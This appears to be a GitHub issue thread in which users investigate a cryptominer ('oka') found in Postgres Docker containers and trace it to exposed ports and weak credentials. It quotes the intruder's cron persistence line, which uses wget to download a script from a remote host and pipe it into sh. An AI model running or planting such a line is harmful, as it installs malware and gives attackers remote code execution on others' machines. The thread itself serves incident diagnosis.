Compromised image in docker-hub

[efagerberg]

Postgres 11.2 AMD64 image seems to be compromised and should be immediately removed from dockerhub. This image executes a cron job to mine cryptocurrencies, and possibly more. Might be worth auditing all variants in case.

cmd: echo "*/30 * * * * /var/lib/postgresql/data/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh">> /tmp/a; crontab /tmp/a;rm -rf /tmp/a

We noticed on our host machine that there was process running a suspicious script ./oka. This processes was coming from a 2 day old postgres:11.2 docker container once we looked inside the container. We had to nuke the image and fs mounts, so nothing is left over, and rerunning locally I am not able to immediately see the same effect, could be the script only runs after a certain amount of time.

[wglambert]

That ADD file ... in / is the docker-entrypoint.sh

Where's that bash snippet from?

[efagerberg]

Let me update the issue, I was not trying to point to a specific layer (it just defaults to the first one I think).

[wglambert]

This is the Dockerfile for 11.2-1.pgdg90+1
https://github.com/docker-library/postgres/blob/7e80419825e4bab4e749bc61334570ffc261ea5e/11/Dockerfile

7e80419#diff-6512bd43d9caa6e02c990b0a82652dca

[tianon]

Can you please point specifically to where you saw this line within the image? I cannot verify this claim:

$ docker pull postgres:11.2
11.2: Pulling from library/postgres
Digest: sha256:85d0c745dc4f4627184da8945a36ac773762ec5d2ba1c1821cc7334b736e6e00
Status: Image is up to date for postgres:11.2
docker.io/library/postgres:11.2
$ docker run --rm postgres:11.2 find / -name oka
$ docker run --rm postgres:11.2 grep -rn '/var/lib/postgresql/data/./oka' /etc /var /usr
$ 

My best guess is that your PostgreSQL instance was exposed to an attacker (possibly via a port mapping exposed to the internet?) and that your instance was compromised.

[efagerberg]

That is a good theory, apologies I figured maybe the script was waiting some amount of time to start doing things, but it seems more likely this is on our end. I will keep looking and if I find anything new I will update the issue otherwise I will close it.

[efagerberg]

Looking at the host machine we were not exposing that container's port to the outside world, still looking to see if there are any holes there but it seems like right now I would not expect someone to be able to shell into that container outside of that host.

[efagerberg]

Although our host should be locked down I don't think it is likely this is actually coming from the official image, looking through the source code nothing seems suspicious. Thanks for your help, if anything changes I will reopen.

[zachlatta]

Hi there, I can confirm that we ran into the same issue this morning with one of our Docker Postgres instances. I found a process named oka running that was consuming the whole CPU.

We have a development server for a Rails app that is developed using docker-compose and has a Postgres dependency in it. The Postgres image we're using is postgres:11.4.

[efagerberg]

For me this process came from someone gaining access to my container from the outside, apparently docker-compose has an issue where they default to publishing ports on 0.0.0.0 even if you configure the docker daemon not to do that by default. You might want to check that on your end as well.

[winhkey]

I found it too. Since I installed postgis it appeared in postgres's crontab.

*/30 * * * * /var/lib/pgsql//var/lib/pgsql/12/data/./oka
* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh

[serefarikan]

I just had this problem. A server I'm using started to slow down. I ssh'ed to the box and saw that a process named oka was using pretty much all the cpu.

I had a postgres image running as well, but I may have a different take on the source of the problem. I was using docker-compose -up with the following docker compose file:

version: '3'
services:
  postgresql:
    image: "clkao/postgres-plv8:latest"
    ports:
     - "5432:5432"
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: marten_testing

I took this compose file from the integration tests of marten db source code. I did not worry about this image getting compromised despite leaving user/pass as postgres because the server is behind a firewall (ufw running on ubuntu).

Seeing this thread, I can see that I was wrong, but I'm not sure if the attack came from internet. My current external ip is the only ip that is given full access to all ports. So something that is running in my network, which scans postgres ports with default user/pass could have compromised the docker image, not because the image itself is compromised, but because the ports are accessible and user/pass is not strong enough.

The worrying bit of the above line of thinking is something running in my network, but that's for me to investigate. Did anybody have a similar weak combination of user/pass when their postgres instance was compromised? If so, the problem may have nothing to do with docker and may be related to something targeting postgres.

I suspect docker instances running postgres may be more vulnerable than regular postgres instances due to docker running as root but that's where I start go go beyond my system-fu skills/knowledge. Comments and more findings are welcome.

[serefarikan]

Ok, I just realised that I may be (half) wrong. The oka process was running on the host(!) so whatever put it there may have exploited postgres but in order to run a process on the server, it'd have to escape docker container so I'm really worried now.